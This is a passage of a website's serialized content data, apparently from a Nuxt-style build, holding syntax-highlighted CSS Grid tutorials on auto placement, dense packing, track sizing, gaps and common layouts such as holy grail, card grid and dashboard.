",[1560,62211,10099],{"class":1576},[1560,62213,2228],{"class":1570},[1560,62215,62216,62219,62221,62223],{"class":1562,"line":2529},[1560,62217,62218],{"class":1576},"  grid-row",[1560,62220,62209],{"class":1570},[1560,62222,10099],{"class":1576},[1560,62224,2228],{"class":1570},[1560,62226,62227],{"class":1562,"line":2534},[1560,62228,1585],{"class":1570},[1560,62230,62231],{"class":1562,"line":2542},[1560,62232,1702],{"emptyLinePlaceholder":363},[1560,62234,62235,62237],{"class":1562,"line":2558},[1560,62236,33518],{"class":1566},[1560,62238,1571],{"class":1570},[1560,62240,62241,62243,62245,62247],{"class":1562,"line":2570},[1560,62242,61956],{"class":1576},[1560,62244,62209],{"class":1570},[1560,62246,3585],{"class":1576},[1560,62248,2228],{"class":1570},[1560,62250,62251,62253,62255,62257],{"class":1562,"line":6638},[1560,62252,62218],{"class":1576},[1560,62254,62209],{"class":1570},[1560,62256,10099],{"class":1576},[1560,62258,2228],{"class":1570},[1560,62260,62261],{"class":1562,"line":11615},[1560,62262,1585],{"class":1570},[16,62264,58350,62265,62267,62268,62270],{},[143,62266,61848],{},", the hero item (2×2) and sidebar item (1×2) would leave scattered gaps. With ",[143,62269,61848],{},", smaller items slide into those gaps, creating a compact layout.",[11,62272,62274],{"id":62273},"dense-packing-trade-offs","Dense Packing Trade-offs",[193,62276,62277,62293],{},[196,62278,62279],{},[199,62280,62281,62283,62288],{},[202,62282,13104],{},[202,62284,62285,62287],{},[143,62286,58185],{}," (sparse)",[202,62289,62290],{},[143,62291,62292],{},"row dense",[211,62294,62295,62306,62316,62326],{},[199,62296,62297,62300,62303],{},[216,62298,62299],{},"Visual gaps",[216,62301,62302],{},"Possible",[216,62304,62305],{},"Minimized",[199,62307,62308,62311,62313],{},[216,62309,62310],{},"DOM order preserved",[216,62312,3057],{},[216,62314,62315],{},"No — smaller items may appear before larger ones in DOM",[199,62317,62318,62320,62323],{},[216,62319,837],{},[216,62321,62322],{},"Predictable tab order",[216,62324,62325],{},"Tab order may jump visually",[199,62327,62328,62331,62334],{},[216,62329,62330],{},"Performance",[216,62332,62333],{},"Faster algorithm",[216,62335,62336],{},"Slightly slower (backfilling)",[16,62338,62339,1663,62342,62344],{},[47,62340,62341],{},"Important",[143,62343,61848],{}," reorders items visually but not in the DOM. Screen readers and keyboard navigation still follow DOM order. If visual order matters for accessibility, use explicit placement instead.",[11,62346,62348],{"id":62347},"auto-tracks-and-implicit-grid","Auto Tracks and Implicit Grid",[16,62350,62351,62352,1531,62354,62356,62357,62360],{},"When items overflow the defined ",[143,62353,61732],{},[143,62355,61735],{},", the browser creates ",[47,62358,62359],{},"implicit tracks",". Control their size with:",[135,62362,62364],{"className":1554,"code":62363,"language":1556,"meta":141,"style":141},".grid {\n  grid-auto-rows: minmax(100px, auto);\n  grid-auto-columns: 200px;\n}\n",[143,62365,62366,62372,62392,62405],{"__ignoreMap":141},[1560,62367,62368,62370],{"class":1562,"line":1563},[1560,62369,61873],{"class":1566},[1560,62371,1571],{"class":1570},[1560,62373,62374,62376,62378,62380,62382,62384,62386,62388,62390],{"class":1562,"line":337},[1560,62375,62147],{"class":1576},[1560,62377,1663],{"class":1570},[1560,62379,62152],{"class":1576},[1560,62381,1688],{"class":1570},[1560,62383,18114],{"class":1576},[1560,62385,1670],{"class":1669},[1560,62387,1459],{"class":1570},[1560,62389,33331],{"class":1576},[1560,62391,1744],{"class":1570},[1560,62393,62394,62397,62399,62401,62403],{"class":1562,"line":343},[1560,62395,62396],{"class":1576},"  grid-auto-columns",[1560,62398,1663],{"class":1570},[1560,62400,18101],{"class":1576},[1560,62402,1670],{"class":1669},[1560,62404,2228],{"class":1570},[1560,62406,62407],{"class":1562,"line":365},[1560,62408,1585],{"class":1570},[16,62410,62411,62412,62414],{},"Without these, implicit tracks default to ",[143,62413,33331],{}," — sized to their content. This often creates uneven row heights in dynamic layouts.",[11,62416,62418],{"id":62417},"named-grid-lines-and-auto-placement","Named Grid Lines and Auto Placement",[16,62420,62421],{},"If you define named lines, the algorithm can use them for automatic spanning:",[135,62423,62425],{"className":1554,"code":62424,"language":1556,"meta":141,"style":141},".grid {\n  grid-template-columns: [col-start] 1fr [col-end] repeat(3, 1fr);\n}\n\n.item {\n  grid-column: col-start \u002F span 2;\n}\n",[143,62426,62427,62433,62461,62465,62469,62475,62486],{"__ignoreMap":141},[1560,62428,62429,62431],{"class":1562,"line":1563},[1560,62430,61873],{"class":1566},[1560,62432,1571],{"class":1570},[1560,62434,62435,62437,62440,62442,62444,62447,62449,62451,62453,62455,62457,62459],{"class":1562,"line":337},[1560,62436,61005],{"class":1576},[1560,62438,62439],{"class":1570},": [col-start] ",[1560,62441,3585],{"class":1576},[1560,62443,61016],{"class":1669},[1560,62445,62446],{"class":1570}," [col-end] ",[1560,62448,9442],{"class":1576},[1560,62450,1688],{"class":1570},[1560,62452,17821],{"class":1576},[1560,62454,1459],{"class":1570},[1560,62456,3585],{"class":1576},[1560,62458,61016],{"class":1669},[1560,62460,1744],{"class":1570},[1560,62462,62463],{"class":1562,"line":343},[1560,62464,1585],{"class":1570},[1560,62466,62467],{"class":1562,"line":365},[1560,62468,1702],{"emptyLinePlaceholder":363},[1560,62470,62471,62473],{"class":1562,"line":889},[1560,62472,58800],{"class":1566},[1560,62474,1571],{"class":1570},[1560,62476,62477,62479,62482,62484],{"class":1562,"line":1710},[1560,62478,61956],{"class":1576},[1560,62480,62481],{"class":1570},": col-start \u002F span ",[1560,62483,10099],{"class":1576},[1560,62485,2228],{"class":1570},[1560,62487,62488],{"class":1562,"line":1717},[1560,62489,1585],{"class":1570},[16,62491,62492],{},"Named lines make auto placement more predictable because items reference specific tracks rather than numeric indexes that shift when you change column counts.",[11,62494,1355],{"id":1354},[41,62496,62497,62502,62508,62511,62518],{},[44,62498,62499,62500],{},"Grid auto placement fills unplaced items according to ",[143,62501,61795],{},[44,62503,62504,62505,62507],{},"Spanning items can leave gaps — ",[143,62506,61848],{}," backfills those gaps",[44,62509,62510],{},"Dense packing trades DOM order preservation for visual compactness",[44,62512,62513,62514,62517],{},"Always define ",[143,62515,62516],{},"grid-auto-rows"," when row count is dynamic",[44,62519,62520,62521,62523],{},"For accessible layouts, prefer explicit placement over ",[143,62522,61848],{}," reordering",[11,62525,286],{"id":285},[16,62527,62528,62529,62531],{},"Build and experiment with grid layouts using our ",[98,62530,61745],{"href":61744},". Define columns, rows, and gaps visually — then copy the CSS into your project.",[2043,62533,62534],{},"html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}",{"title":141,"searchDepth":337,"depth":337,"links":62536},[62537,62538,62539,62545,62546,62547,62548,62549,62550,62551],{"id":61777,"depth":337,"text":61778},{"id":61801,"depth":337,"text":61802},{"id":61926,"depth":337,"text":61927,"children":62540},[62541,62542,62543,62544],{"id":61930,"depth":343,"text":61931},{"id":61976,"depth":343,"text":61977},{"id":61997,"depth":343,"text":61998},{"id":62008,"depth":343,"text":62009},{"id":62021,"depth":337,"text":62022},{"id":62099,"depth":337,"text":62100},{"id":62273,"depth":337,"text":62274},{"id":62347,"depth":337,"text":62348},{"id":62417,"depth":337,"text":62418},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},"Understand the CSS Grid auto placement algorithm — how the browser fills grid cells automatically using grid-auto-flow, spanning, and dense packing.",{"immutable":363},"\u002Fguides\u002Fcss-grid-auto-placement-algorithm",{"title":61772,"description":62552},"guides\u002Fcss-grid-auto-placement-algorithm","VrcWLWCMZZeTiUdV5o_aiSAL_weYdTvVU5djpYpKEsI",{"id":62559,"title":62560,"body":62561,"date":2070,"description":63646,"extension":361,"meta":63647,"navigation":363,"path":63648,"readingTime":889,"seo":63649,"stem":63650,"__hash__":63651},"guides\u002Fguides\u002Fcss-grid-guide.md","CSS Grid Generator Guide",{"type":8,"value":62562,"toc":63619},[62563,62567,62570,62573,62587,62590,62594,62597,62601,62604,62634,62696,62699,62703,62706,62751,62757,62761,62766,62808,62811,62815,62818,62825,62829,62832,62836,62984,62988,63087,63091,63097,63121,63125,63168,63176,63178,63185,63189,63191,63194,63368,63372,63375,63443,63446,63448,63451,63565,63567,63571,63574,63578,63587,63591,63598,63600,63616],[11,62564,62566],{"id":62565},"what-is-css-grid","What Is CSS Grid?",[16,62568,62569],{},"CSS Grid is a two-dimensional layout system that controls both rows and columns at the same time. Unlike Flexbox, which handles one axis per container, Grid lets you define the entire surface — where items sit, how tracks size, and how gaps distribute.",[16,62571,62572],{},"Use Grid when your layout involves:",[41,62574,62575,62578,62581,62584],{},[44,62576,62577],{},"Page-level structure (sidebar + main + footer)",[44,62579,62580],{},"Card galleries with aligned rows and columns",[44,62582,62583],{},"Dashboard panels that span different areas",[44,62585,62586],{},"Any design where items align in two directions",[16,62588,62589],{},"Grid replaces float hacks, inline-block workarounds, and table-based layouts with declarations the browser handles natively.",[11,62591,62593],{"id":62592},"how-to-use-the-css-grid-generator","How to Use the CSS Grid Generator",[16,62595,62596],{},"A CSS Grid generator removes the trial-and-error of writing grid code by hand. Instead of guessing column widths and row heights, you adjust values visually and copy the generated CSS.",[33,62598,62600],{"id":62599},"step-1-set-columns-and-rows","Step 1: Set Columns and Rows",[16,62602,62603],{},"Start by defining the grid structure. Enter the number of columns and rows your layout needs. Then choose a unit for each track:",[41,62605,62606,62613,62620,62627],{},[44,62607,62608,62612],{},[47,62609,62610],{},[143,62611,1670],{}," — Fixed width. Columns stay at the exact size regardless of screen width.",[44,62614,62615,62619],{},[47,62616,62617],{},[143,62618,61016],{}," — Fractional unit. Distributes available space proportionally. The go-to for responsive layouts.",[44,62621,62622,62626],{},[47,62623,62624],{},[143,62625,17990],{}," — Percentage of the container. Useful when you need strict proportions.",[44,62628,62629,62633],{},[47,62630,62631],{},[143,62632,33331],{}," — Sizes to content. Columns or rows shrink or grow based on what is inside them.",[135,62635,62637],{"className":1554,"code":62636,"language":1556,"meta":141,"style":141},".grid-container {\n  display: grid;\n  grid-template-columns: 250px 1fr 1fr;\n  grid-template-rows: auto 1fr auto;\n}\n",[143,62638,62639,62646,62656,62676,62692],{"__ignoreMap":141},[1560,62640,62641,62644],{"class":1562,"line":1563},[1560,62642,62643],{"class":1566},".grid-container",[1560,62645,1571],{"class":1570},[1560,62647,62648,62650,62652,62654],{"class":1562,"line":337},[1560,62649,12504],{"class":1576},[1560,62651,1663],{"class":1570},[1560,62653,53158],{"class":1576},[1560,62655,2228],{"class":1570},[1560,62657,62658,62660,62662,62664,62666,62668,62670,62672,62674],{"class":1562,"line":343},[1560,62659,61005],{"class":1576},[1560,62661,1663],{"class":1570},[1560,62663,45885],{"class":1576},[1560,62665,1670],{"class":1669},[1560,62667,18868],{"class":1576},[1560,62669,61016],{"class":1669},[1560,62671,18868],{"class":1576},[1560,62673,61016],{"class":1669},[1560,62675,2228],{"class":1570},[1560,62677,62678,62680,62682,62684,62686,62688,62690],{"class":1562,"line":365},[1560,62679,61023],{"class":1576},[1560,62681,1663],{"class":1570},[1560,62683,33331],{"class":1576},[1560,62685,18868],{"class":1576},[1560,62687,61016],{"class":1669},[1560,62689,58828],{"class":1576},[1560,62691,2228],{"class":1570},[1560,62693,62694],{"class":1562,"line":889},[1560,62695,1585],{"class":1570},[16,62697,62698],{},"This creates a fixed sidebar on the left with two flexible content columns, and rows that size to their content at the top and bottom.",[33,62700,62702],{"id":62701},"step-2-choose-track-sizes","Step 2: Choose Track Sizes",[16,62704,62705],{},"Mix units for maximum flexibility:",[135,62707,62709],{"className":1554,"code":62708,"language":1556,"meta":141,"style":141},".grid-container {\n  grid-template-columns: repeat(3, minmax(200px, 1fr));\n}\n",[143,62710,62711,62717,62747],{"__ignoreMap":141},[1560,62712,62713,62715],{"class":1562,"line":1563},[1560,62714,62643],{"class":1566},[1560,62716,1571],{"class":1570},[1560,62718,62719,62721,62723,62725,62727,62729,62731,62733,62735,62737,62739,62741,62743,62745],{"class":1562,"line":337},[1560,62720,61005],{"class":1576},[1560,62722,1663],{"class":1570},[1560,62724,9442],{"class":1576},[1560,62726,1688],{"class":1570},[1560,62728,17821],{"class":1576},[1560,62730,1459],{"class":1570},[1560,62732,62152],{"class":1576},[1560,62734,1688],{"class":1570},[1560,62736,18101],{"class":1576},[1560,62738,1670],{"class":1669},[1560,62740,1459],{"class":1570},[1560,62742,3585],{"class":1576},[1560,62744,61016],{"class":1669},[1560,62746,41941],{"class":1570},[1560,62748,62749],{"class":1562,"line":343},[1560,62750,1585],{"class":1570},[16,62752,421,62753,62756],{},[143,62754,62755],{},"minmax()"," function sets a floor of 200px per column. Columns grow beyond that to fill space but never shrink below the minimum — preventing broken layouts on narrow screens.",[33,62758,62760],{"id":62759},"step-3-adjust-the-gap","Step 3: Adjust the Gap",[16,62762,62763,62764,8037],{},"Set spacing between grid items using ",[143,62765,58563],{},[193,62767,62768,62776],{},[196,62769,62770],{},[199,62771,62772,62774],{},[202,62773,14482],{},[202,62775,29641],{},[211,62777,62778,62788,62798],{},[199,62779,62780,62785],{},[216,62781,62782],{},[143,62783,62784],{},"gap: 24px",[216,62786,62787],{},"Same spacing for rows and columns",[199,62789,62790,62795],{},[216,62791,62792],{},[143,62793,62794],{},"row-gap: 16px",[216,62796,62797],{},"Vertical spacing only",[199,62799,62800,62805],{},[216,62801,62802],{},[143,62803,62804],{},"column-gap: 32px",[216,62806,62807],{},"Horizontal spacing only",[16,62809,62810],{},"Gaps apply only between items — never before the first item or after the last. This makes them cleaner than margin-based spacing.",[33,62812,62814],{"id":62813},"step-4-preview-and-copy","Step 4: Preview and Copy",[16,62816,62817],{},"Watch the grid reshape live as you change values. When it looks right, copy the generated CSS straight into your project.",[16,62819,62820,62821],{},"Try it yourself: ",[98,62822,61745],{"href":62823,"rel":62824},"https:\u002F\u002Ftoolboxes.site\u002Ftools\u002Fcss-grid",[14956],[11,62826,62828],{"id":62827},"understanding-grid-properties","Understanding Grid Properties",[16,62830,62831],{},"CSS Grid packs a lot of functionality into a small set of properties. Here is a quick reference for the ones you will use most:",[33,62833,62835],{"id":62834},"container-properties","Container Properties",[193,62837,62838,62849],{},[196,62839,62840],{},[199,62841,62842,62844,62846],{},[202,62843,14482],{},[202,62845,922],{},[202,62847,62848],{},"Common Values",[211,62850,62851,62870,62887,62901,62917,62934,62948,62967],{},[199,62852,62853,62857,62860],{},[216,62854,62855],{},[143,62856,61732],{},[216,62858,62859],{},"Defines column tracks",[216,62861,62862,1459,62865,1459,62868],{},[143,62863,62864],{},"1fr 2fr",[143,62866,62867],{},"repeat(3, 1fr)",[143,62869,62755],{},[199,62871,62872,62876,62879],{},[216,62873,62874],{},[143,62875,61735],{},[216,62877,62878],{},"Defines row tracks",[216,62880,62881,1459,62884],{},[143,62882,62883],{},"auto 1fr auto",[143,62885,62886],{},"200px 400px",[199,62888,62889,62893,62896],{},[216,62890,62891],{},[143,62892,60975],{},[216,62894,62895],{},"Names grid regions",[216,62897,62898],{},[143,62899,62900],{},"\"header header\" \"sidebar content\"",[199,62902,62903,62907,62910],{},[216,62904,62905],{},[143,62906,58563],{},[216,62908,62909],{},"Spacing between tracks",[216,62911,62912,1459,62914],{},[143,62913,16795],{},[143,62915,62916],{},"1rem",[199,62918,62919,62923,62926],{},[216,62920,62921],{},[143,62922,61795],{},[216,62924,62925],{},"How items fill cells",[216,62927,62928,1459,62930,1459,62932],{},[143,62929,58185],{},[143,62931,32691],{},[143,62933,61848],{},[199,62935,62936,62940,62943],{},[216,62937,62938],{},[143,62939,62516],{},[216,62941,62942],{},"Size of implicit rows",[216,62944,62945],{},[143,62946,62947],{},"minmax(100px, auto)",[199,62949,62950,62955,62958],{},[216,62951,62952],{},[143,62953,62954],{},"justify-items",[216,62956,62957],{},"Horizontal alignment of items",[216,62959,62960,1459,62963,1459,62965],{},[143,62961,62962],{},"start",[143,62964,32199],{},[143,62966,33070],{},[199,62968,62969,62973,62976],{},[216,62970,62971],{},[143,62972,51743],{},[216,62974,62975],{},"Vertical alignment of items",[216,62977,62978,1459,62980,1459,62982],{},[143,62979,62962],{},[143,62981,32199],{},[143,62983,33070],{},[33,62985,62987],{"id":62986},"item-properties","Item Properties",[193,62989,62990,63000],{},[196,62991,62992],{},[199,62993,62994,62996,62998],{},[202,62995,14482],{},[202,62997,922],{},[202,62999,62848],{},[211,63001,63002,63018,63035,63051,63070],{},[199,63003,63004,63008,63011],{},[216,63005,63006],{},[143,63007,61784],{},[216,63009,63010],{},"Column start \u002F end",[216,63012,63013,1459,63016],{},[143,63014,63015],{},"1 \u002F 3",[143,63017,62004],{},[199,63019,63020,63024,63027],{},[216,63021,63022],{},[143,63023,61787],{},[216,63025,63026],{},"Row start \u002F end",[216,63028,63029,1459,63032],{},[143,63030,63031],{},"2 \u002F 4",[143,63033,63034],{},"span 3",[199,63036,63037,63041,63044],{},[216,63038,63039],{},[143,63040,60979],{},[216,63042,63043],{},"Assigns to named area or sets all four lines",[216,63045,63046,1459,63048],{},[143,63047,61156],{},[143,63049,63050],{},"1 \u002F 1 \u002F 3 \u002F 4",[199,63052,63053,63058,63061],{},[216,63054,63055],{},[143,63056,63057],{},"justify-self",[216,63059,63060],{},"Override horizontal alignment",[216,63062,63063,1459,63065,1459,63067],{},[143,63064,62962],{},[143,63066,32199],{},[143,63068,63069],{},"end",[199,63071,63072,63076,63079],{},[216,63073,63074],{},[143,63075,58888],{},[216,63077,63078],{},"Override vertical alignment",[216,63080,63081,1459,63083,1459,63085],{},[143,63082,62962],{},[143,63084,32199],{},[143,63086,63069],{},[33,63088,63090],{"id":63089},"the-repeat-function","The repeat() Function",[16,63092,421,63093,63096],{},[143,63094,63095],{},"repeat()"," function saves you from writing the same track size over and over:",[135,63098,63100],{"className":1554,"code":63099,"language":1556,"meta":141,"style":141},"\u002F* These are equivalent *\u002F\ngrid-template-columns: 1fr 1fr 1fr 1fr;\ngrid-template-columns: repeat(4, 1fr);\n",[143,63101,63102,63107,63114],{"__ignoreMap":141},[1560,63103,63104],{"class":1562,"line":1563},[1560,63105,63106],{"class":1649},"\u002F* These are equivalent *\u002F\n",[1560,63108,63109,63111],{"class":1562,"line":337},[1560,63110,61732],{"class":2484},[1560,63112,63113],{"class":1570},": 1fr 1fr 1fr 1fr;\n",[1560,63115,63116,63118],{"class":1562,"line":343},[1560,63117,61732],{"class":2484},[1560,63119,63120],{"class":1570},": repeat(4, 1fr);\n",[33,63122,63124],{"id":63123},"auto-fill-vs-auto-fit","auto-fill vs auto-fit",[135,63126,63128],{"className":1554,"code":63127,"language":1556,"meta":141,"style":141},"\u002F* auto-fill: creates empty tracks to fill the row *\u002F\ngrid-template-columns: repeat(auto-fill, minmax(200px, 1fr));\n\n\u002F* auto-fit: collapses empty tracks so items expand *\u002F\ngrid-template-columns: repeat(auto-fit, minmax(200px, 1fr));\n",[143,63129,63130,63135,63148,63152,63157],{"__ignoreMap":141},[1560,63131,63132],{"class":1562,"line":1563},[1560,63133,63134],{"class":1649},"\u002F* auto-fill: creates empty tracks to fill the row *\u002F\n",[1560,63136,63137,63139,63142,63145],{"class":1562,"line":337},[1560,63138,61732],{"class":2484},[1560,63140,63141],{"class":1570},": repeat(",[1560,63143,63144],{"class":2484},"auto-fill",[1560,63146,63147],{"class":1570},", minmax(200px, 1fr));\n",[1560,63149,63150],{"class":1562,"line":343},[1560,63151,1702],{"emptyLinePlaceholder":363},[1560,63153,63154],{"class":1562,"line":365},[1560,63155,63156],{"class":1649},"\u002F* auto-fit: collapses empty tracks so items expand *\u002F\n",[1560,63158,63159,63161,63163,63166],{"class":1562,"line":889},[1560,63160,61732],{"class":2484},[1560,63162,63141],{"class":1570},[1560,63164,63165],{"class":2484},"auto-fit",[1560,63167,63147],{"class":1570},[16,63169,1388,63170,63172,63173,63175],{},[143,63171,63144],{}," for consistent minimum widths. Use ",[143,63174,63165],{}," when items should stretch to fill the container when space allows.",[11,63177,286],{"id":285},[16,63179,63180,63181,63184],{},"Build grid layouts visually with our ",[98,63182,61745],{"href":62823,"rel":63183},[14956],". Define columns, rows, and gaps — then copy the CSS straight into your project.",[11,63186,63188],{"id":63187},"common-grid-layouts","Common Grid Layouts",[33,63190,59022],{"id":59021},[16,63192,63193],{},"The classic web layout — header, three-column body, and footer:",[135,63195,63197],{"className":1554,"code":63196,"language":1556,"meta":141,"style":141},".holy-grail {\n  display: grid;\n  grid-template-columns: 200px 1fr 200px;\n  grid-template-rows: auto 1fr auto;\n  grid-template-areas:\n    \"header header  header\"\n    \"left   content right\"\n    \"footer footer  footer\";\n  min-height: 100vh;\n  gap: 0;\n}\n\n.header  { grid-area: header; }\n.left    { grid-area: left; }\n.content { grid-area: content; }\n.right   { grid-area: right; }\n.footer  { grid-area: footer; }\n",[143,63198,63199,63205,63215,63235,63251,63257,63261,63266,63272,63284,63294,63298,63302,63312,63327,63342,63358],{"__ignoreMap":141},[1560,63200,63201,63203],{"class":1562,"line":1563},[1560,63202,61213],{"class":1566},[1560,63204,1571],{"class":1570},[1560,63206,63207,63209,63211,63213],{"class":1562,"line":337},[1560,63208,12504],{"class":1576},[1560,63210,1663],{"class":1570},[1560,63212,53158],{"class":1576},[1560,63214,2228],{"class":1570},[1560,63216,63217,63219,63221,63223,63225,63227,63229,63231,63233],{"class":1562,"line":343},[1560,63218,61005],{"class":1576},[1560,63220,1663],{"class":1570},[1560,63222,18101],{"class":1576},[1560,63224,1670],{"class":1669},[1560,63226,18868],{"class":1576},[1560,63228,61016],{"class":1669},[1560,63230,58847],{"class":1576},[1560,63232,1670],{"class":1669},[1560,63234,2228],{"class":1570},[1560,63236,63237,63239,63241,63243,63245,63247,63249],{"class":1562,"line":365},[1560,63238,61023],{"class":1576},[1560,63240,1663],{"class":1570},[1560,63242,33331],{"class":1576},[1560,63244,18868],{"class":1576},[1560,63246,61016],{"class":1669},[1560,63248,58828],{"class":1576},[1560,63250,2228],{"class":1570},[1560,63252,63253,63255],{"class":1562,"line":889},[1560,63254,61040],{"class":1576},[1560,63256,19182],{"class":1570},[1560,63258,63259],{"class":1562,"line":1710},[1560,63260,61272],{"class":5634},[1560,63262,63263],{"class":1562,"line":1717},[1560,63264,63265],{"class":5634},"    \"left   content right\"\n",[1560,63267,63268,63270],{"class":1562,"line":1747},[1560,63269,61282],{"class":5634},[1560,63271,2228],{"class":1570},[1560,63273,63274,63276,63278,63280,63282],{"class":1562,"line":2507},[1560,63275,32698],{"class":1576},[1560,63277,1663],{"class":1570},[1560,63279,18114],{"class":1576},[1560,63281,32705],{"class":1669},[1560,63283,2228],{"class":1570},[1560,63285,63286,63288,63290,63292],{"class":1562,"line":2524},[1560,63287,32235],{"class":1576},[1560,63289,1663],{"class":1570},[1560,63291,5285],{"class":1576},[1560,63293,2228],{"class":1570},[1560,63295,63296],{"class":1562,"line":2529},[1560,63297,1585],{"class":1570},[1560,63299,63300],{"class":1562,"line":2534},[1560,63301,1702],{"emptyLinePlaceholder":363},[1560,63303,63304,63306,63308,63310],{"class":1562,"line":2542},[1560,63305,61072],{"class":1566},[1560,63307,36449],{"class":1570},[1560,63309,60979],{"class":1576},[1560,63311,61079],{"class":1570},[1560,63313,63314,63317,63319,63321,63323,63325],{"class":1562,"line":2558},[1560,63315,63316],{"class":1566},".left",[1560,63318,44815],{"class":1570},[1560,63320,60979],{"class":1576},[1560,63322,1663],{"class":1570},[1560,63324,45290],{"class":1576},[1560,63326,1673],{"class":1570},[1560,63328,63329,63331,63333,63335,63337,63340],{"class":1562,"line":2570},[1560,63330,59340],{"class":1566},[1560,63332,1658],{"class":1570},[1560,63334,60979],{"class":1576},[1560,63336,1663],{"class":1570},[1560,63338,63339],{"class":1576},"content",[1560,63341,1673],{"class":1570},[1560,63343,63344,63347,63349,63351,63353,63356],{"class":1562,"line":6638},[1560,63345,63346],{"class":1566},".right",[1560,63348,16964],{"class":1570},[1560,63350,60979],{"class":1576},[1560,63352,1663],{"class":1570},[1560,63354,63355],{"class":1576},"right",[1560,63357,1673],{"class":1570},[1560,63359,63360,63362,63364,63366],{"class":1562,"line":11615},[1560,63361,61106],{"class":1566},[1560,63363,36449],{"class":1570},[1560,63365,60979],{"class":1576},[1560,63367,61113],{"class":1570},[33,63369,63371],{"id":63370},"card-grid-layout","Card Grid Layout",[16,63373,63374],{},"Responsive cards that reflow without media queries:",[135,63376,63378],{"className":1554,"code":63377,"language":1556,"meta":141,"style":141},".card-grid {\n  display: grid;\n  grid-template-columns: repeat(auto-fill, minmax(280px, 1fr));\n  gap: 24px;\n}\n",[143,63379,63380,63387,63397,63427,63439],{"__ignoreMap":141},[1560,63381,63382,63385],{"class":1562,"line":1563},[1560,63383,63384],{"class":1566},".card-grid",[1560,63386,1571],{"class":1570},[1560,63388,63389,63391,63393,63395],{"class":1562,"line":337},[1560,63390,12504],{"class":1576},[1560,63392,1663],{"class":1570},[1560,63394,53158],{"class":1576},[1560,63396,2228],{"class":1570},[1560,63398,63399,63401,63403,63405,63407,63409,63411,63413,63415,63417,63419,63421,63423,63425],{"class":1562,"line":343},[1560,63400,61005],{"class":1576},[1560,63402,1663],{"class":1570},[1560,63404,9442],{"class":1576},[1560,63406,1688],{"class":1570},[1560,63408,63144],{"class":1576},[1560,63410,1459],{"class":1570},[1560,63412,62152],{"class":1576},[1560,63414,1688],{"class":1570},[1560,63416,23906],{"class":1576},[1560,63418,1670],{"class":1669},[1560,63420,1459],{"class":1570},[1560,63422,3585],{"class":1576},[1560,63424,61016],{"class":1669},[1560,63426,41941],{"class":1570},[1560,63428,63429,63431,63433,63435,63437],{"class":1562,"line":365},[1560,63430,32235],{"class":1576},[1560,63432,1663],{"class":1570},[1560,63434,61489],{"class":1576},[1560,63436,1670],{"class":1669},[1560,63438,2228],{"class":1570},[1560,63440,63441],{"class":1562,"line":889},[1560,63442,1585],{"class":1570},[16,63444,63445],{},"On a 1200px screen you get roughly four columns. On 600px you get two. On 300px you get one. No breakpoints needed.",[33,63447,61304],{"id":61303},[16,63449,63450],{},"Asymmetrical panels for data-heavy interfaces:",[135,63452,63454],{"className":1554,"code":63453,"language":1556,"meta":141,"style":141},".dashboard {\n  display: grid;\n  grid-template-columns: 260px 1fr 1fr;\n  grid-template-rows: 56px 2fr 1fr;\n  grid-template-areas:\n    \"toolbar toolbar toolbar\"\n    \"nav     main    aside\"\n    \"nav     widget  aside\";\n  gap: 12px;\n  min-height: 100vh;\n}\n",[143,63455,63456,63462,63472,63493,63514,63520,63525,63530,63537,63549,63561],{"__ignoreMap":141},[1560,63457,63458,63460],{"class":1562,"line":1563},[1560,63459,61314],{"class":1566},[1560,63461,1571],{"class":1570},[1560,63463,63464,63466,63468,63470],{"class":1562,"line":337},[1560,63465,12504],{"class":1576},[1560,63467,1663],{"class":1570},[1560,63469,53158],{"class":1576},[1560,63471,2228],{"class":1570},[1560,63473,63474,63476,63478,63481,63483,63485,63487,63489,63491],{"class":1562,"line":343},[1560,63475,61005],{"class":1576},[1560,63477,1663],{"class":1570},[1560,63479,63480],{"class":1576},"260",[1560,63482,1670],{"class":1669},[1560,63484,18868],{"class":1576},[1560,63486,61016],{"class":1669},[1560,63488,18868],{"class":1576},[1560,63490,61016],{"class":1669},[1560,63492,2228],{"class":1570},[1560,63494,63495,63497,63499,63502,63504,63506,63508,63510,63512],{"class":1562,"line":365},[1560,63496,61023],{"class":1576},[1560,63498,1663],{"class":1570},[1560,63500,63501],{"class":1576},"56",[1560,63503,1670],{"class":1669},[1560,63505,9426],{"class":1576},[1560,63507,61016],{"class":1669},[1560,63509,18868],{"class":1576},[1560,63511,61016],{"class":1669},[1560,63513,2228],{"class":1570},[1560,63515,63516,63518],{"class":1562,"line":889},[1560,63517,61040],{"class":1576},[1560,63519,19182],{"class":1570},[1560,63521,63522],{"class":1562,"line":1710},[1560,63523,63524],{"class":5634},"    \"toolbar toolbar toolbar\"\n",[1560,63526,63527],{"class":1562,"line":1717},[1560,63528,63529],{"class":5634},"    \"nav     main    aside\"\n",[1560,63531,63532,63535],{"class":1562,"line":1747},[1560,63533,63534],{"class":5634},"    \"nav     widget  